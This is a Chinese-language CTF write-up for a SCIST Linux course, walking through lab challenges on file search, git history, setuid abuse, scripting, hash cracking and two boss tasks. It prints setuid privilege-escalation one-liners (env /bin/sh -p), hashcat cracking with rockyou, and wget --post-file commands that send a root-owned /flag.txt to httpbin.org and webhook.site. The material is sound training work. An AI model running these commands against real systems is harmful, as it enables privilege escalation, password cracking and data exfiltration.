# SCIST LINUX CTF Write Up ## Linux🐧 ### lab-basic 首先用git指令把資料抓下來 ```bash= git clone https://github.com/kazmatw/Kazma-Linux-Course.git ``` 進入lab-basic資料夾，可以看到flag_part1，內容是第一部分的flag ```bash= cat ./flag_part1 ``` 剩下的應該在find_here裡 ```bash= ls -aR ./find_here ``` * ```-a``` 列出所有隱藏檔案 * ```-R``` 以遞迴的方式列出所有子目錄的內容 在./find_here/1/2/3/.../99/100裡找到.flag_part2 ```bash= cat ./find_here/1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30/31/32/33/34/35/36/37/38/39/40/41/42/43/44/45/46/47/48/49/50/51/52/53/54/55/56/57/58/59/60/61/62/63/64/65/66/67/68/69/70/71/72/73/74/75/76/77/78/79/80/81/82/83/84/85/86/87/88/89/90/91/92/93/94/95/96/97/98/99/100/.flag_part2 ``` <font color="#e63946">好像還沒結束...?!</font> 往上一找，在./find_here/1/2/3/4/5/.,發現還有flag_part3 ```bash= cat ./find_here/1/2/3/4/5/.,/flag_part3 ``` 三部分合併成完整flag :::success Flag🚩: ||`flag{w3lc0m3_t0_th3_w0rld_0f_l1nux}`|| ::: ### lab-git 查看GitHub上的[Commit紀錄](https://github.com/kazmatw/Kazma-Linux-Course/commits/main/) 發現增加和刪除flag的紀錄， ![image](https://hackmd.io/_uploads/HJmgr4qekl.png) 進入Add git chal，flag就在flag.txt裡 另一個方法是用git 在`Kazma-Linux-Course`裡查看日誌 ```bash= git log ``` 發現可能有這題的flag ``` commit 647fe5c46f2bdf43c9255c0d71e61098f007ad10 Author: kazma <kazmatw@gmail.com> Date: Sat Oct 19 08:30:33 2024 +0800 Remove git chal commit f5f4079bd3d5c403f63c806e51dab65a260c35d2 Author: kazma <kazmatw@gmail.com> Date: Sat Oct 19 08:29:40 2024 +0800 Add git chal ``` 切換到`Add git chal`的commit版本 ```bash= git checkout f5f4079bd3d5c403f63c806e51dab65a260c35d2 ``` 此時，`flag.txt`檔案出現了！ ```bash= ls cat flag.txt ``` :::success Flag🚩: ||`flag{git_can_time_travel}`|| ::: ~~所以說剩下的flag都在log裡找是不是比較快🤪~~ ### lab-grep 使用`find`和`grep`指令列出可能是flag的片段 ```bash= find ./maybe_here -type f -exec grep -E "\flag|\{|\_|\}" {} \; ``` * `find [directory] -exec [command] \;` 對於每個找到的檔案執行`-exec`後的內容 * `-type f` 只找檔案不找目錄 * `grep -E "\flag|\{|\_|\}"` 使用擴充版regex尋找含有`flag`、`{`、`_`或`}`的內容 :::info 可以使用此網站幫助理解shell指令： https://explainshell.com ::: 最後得到三個flag片段，合併後得到 :::success Flag🚩: ||`flag{M4st3r_0f_S34rch_4nd_M4tch1$_p0w3rfu11}`|| ::: ### lab-setuid-finds 先用docker設置和啟動容器 ```bash= sudo apt install docker.io sudo docker build -t finds . sudo docker run -it finds ``` 從題目猜要用find指令讀flag 用`which`指令找到`find`的位置為`/usr/local/bin/find` ```bash= which find ``` 查看find權限 ```bash= ls -l /usr/local/bin/find ``` 結果真的有s權限 ```markdown= -rwsr-xr-x 1 root root 204264 Oct 26 11:10 /usr/local/bin/find ``` 用find和cat得到flag ```bash= find / -type f -name "flag.txt" -exec cat {} \; ``` :::success Flag🚩: ||`flag{find_can_also_print!}`|| ::: ### lab-setuid-revs 和上題一樣，`rev`有s權限 使用兩次rev得到原本flag ```bash= rev /flag.txt | rev ``` :::success Flag🚩: ||`flag{reverse_and_reverse_is_not_reverse}`|| ::: ### lab-setuid-dates 和上題一樣，`date`有s權限 ```bash= date -f /flag.txt ``` * -f 原本用來讀取含有日期的檔案，但現在充當`cat`來用 :::success Flag🚩: ||`flag{what_time_is_it?}`|| ::: ### lab-setuid-idks > idk idc IDGAF!!! 這次不能從題目找提示了😭😭😭 先用`find`找含有setuid權限的binaries ```bash= find / -user root -perm -4000 ``` 發現以下可使用： ``` /usr/bin/chsh /usr/bin/newgrp /usr/bin/passwd /usr/bin/su /usr/bin/gpasswd /usr/bin/mount /usr/bin/umount /usr/bin/chfn /usr/local/bin/env ``` 使用 https://gtfobins.github.io/ 尋找利用方法，發現只有`env`可利用 ```bash= env /bin/sh -p ``` * `/bin/sh` 開啟shell * `-p` 以`env`擁有的root權限執行 ```bash= cat /flag.txt ``` :::success Flag🚩: ||`flag{controls_the_environment_variable}`|| ::: ### lab-scripts 修改`wtf.sh` ```bash= vim wtf.sh ``` ```bash= #!/bin/bash for i in {1..60} do if [ $i -le 20 ]; then rar e "file$i.rar" elif [ $i -le 40 ]; then tar -zxvf "file$i.tar.gz" else unzip "file$i.zip" fi done ``` 給予執行權限並執行 ```bash= chmod +x ./wtf.sh ./wtf.sh ``` 得到60個文字檔 ```bash= find . "*.txt" -type f -exec grep "flag{" 2>/dev/null {} \; ``` * `2>/dev/null` 忽略所有錯誤輸出 :::success Flag🚩: ||`flag{now_you_can_script}`|| ::: ### lab-hashcat 先使用 https://www.tunnelsup.com/hash-analyzer 分析`hashes1.txt`的hash種類 ![image](https://hackmd.io/_uploads/rkHITYqe1x.png) 使用hashcat和rockyou.txt爆破 [kali內建rockyou.txt](https://www.kali.org/tools/wordlists/)，需先解壓縮 ```bash= sudo gunzip /usr/share/wordlists/rockyou.txt.gz ``` 執行hashcat指令 ```bash= hashcat -m 0 ./hashes1.txt /usr/share/wordlists/rockyou.txt ``` * `-m 0` 選擇模式，`0`為md5的代碼 出現以下錯誤： ``` hashcat Device #1: Not enough allocatable device memory for this attack. ``` 關掉模擬機，記憶體改成4GB： ![image](https://hackmd.io/_uploads/rkH4aF5eyg.png) 重開機後就可以順利執行 ``` Dictionary cache built: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344392 * Bytes.....: 139921507 * Keyspace..: 14344385 * Runtime...: 2 secs d0763edaa9d9bd2a9516280e9044d885:monkey ``` `hashes2.txt`用一樣方法解 ![image](https://hackmd.io/_uploads/Bykbe5cekx.png) ```bash= hashcat -m 1400 ./hashes2.txt /usr/share/wordlists/rockyou.txt ``` ``` Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 4980b1f29fa32ff18c95d0ed931fd48e1ad43a729251d6eddb3cece705ed4d05:rockyou ``` :::success Flag🚩: ||`flag{monkey_rockyou}`|| ::: :::info 可以使用以下網站自動破解hash https://www.dcode.fr/hash-function https://crackstation.net/ ::: ## Boss😈 ### hw-boss 一樣先找所有有setuid權限的binaries ```hash= find / -user root -perm -4000 2>/dev/null ``` 發現有wget可以用 詢問ChatGPT，得到兩種解法 #### 解一：儲存HTTP回應 ```hash= wget --post-file=/flag.txt https://httpbin.org/post -O response.txt cat response.txt ``` #### 解二：使用[webhook.site](https://webhook.site/)上傳檔案 ```bash= wget --post-file=/flag.txt https://webhook.site/some_random_id ``` 在瀏覽器上即可看到flag :::success Flag🚩: ||`flag{w93t_1s_p0weRfU1_6i3b3EcNUnJhbkrN}`|| ::: ### hw-bbooss 使用`dirb`爆破常見路徑 ```bash= dirb https://lab.scist.org:30003/ ``` 得到4條路徑 ``` ---- Scanning URL: https://lab.scist.org:30003/ ---- + https://lab.scist.org:30003/_data (CODE:200|SIZE:346) + https://lab.scist.org:30003/_database (CODE:200|SIZE:393) + https://lab.scist.org:30003/login (CODE:200|SIZE:594) + https://lab.scist.org:30003/Login (CODE:200|SIZE:594) ``` `/_data` 裡得到反過來的第二部分flag `/_database` 裡是以json形式呈現的admin帳號和密碼的hash 破解hash後得到密碼||`naruto`||，登入後得到第一部分flag :::success Flag🚩: ||`flag{ddddddd_iiiiiii_rrrrrrrr_bbbbbbbb}`|| ::: ## 其他 ### Terminal指令 * `Ctrl + a` 將游標一道最前面 * `Ctrl + e` 將游標一道最後面 * `Ctrl + u` 刪除游標前的內容 ### shell `>` redirect: 將輸出導向其他地方(覆蓋) ```bash= echo "Happy Halloween by Raga Man" > boo.txt ``` `>>` redirect: 將輸出導向其他地方(附加) ```bash= echo "STAB the BATS" >> boo.txt echo "ACT like a CAT" >> boo.txt echo "OWL flying LOW" >> boo.txt echo "TROLLS down the STROLL" >> boo.txt echo "SCARE? who CARES?" >> boo.txt echo "MONSTER? call the MENTORS!" >> boo.txt ``` `|` pipe: 前一個輸出當後一個輸入 ```bash= cat boo.txt | rev ``` ``` naM agaR yb neewollaH yppaH STAB eht BATS TAC a ekil TCA WOL gniylf LWO LLORTS eht nwod SLLORT ?SERAC ohw ?ERACS !SROTNEM eht llac ?RETSNOM ``` ## 後記 ![image](https://hackmd.io/_uploads/B1m60iqeyl.png) 題目全破，最後位居21名，但其實8成時間都在寫Write Up😅，然後我[迎新盃Write Up](https://hackmd.io/@Zantvish/NCKUCTF_Freshmen_Cup)還沒開始寫啊啊啊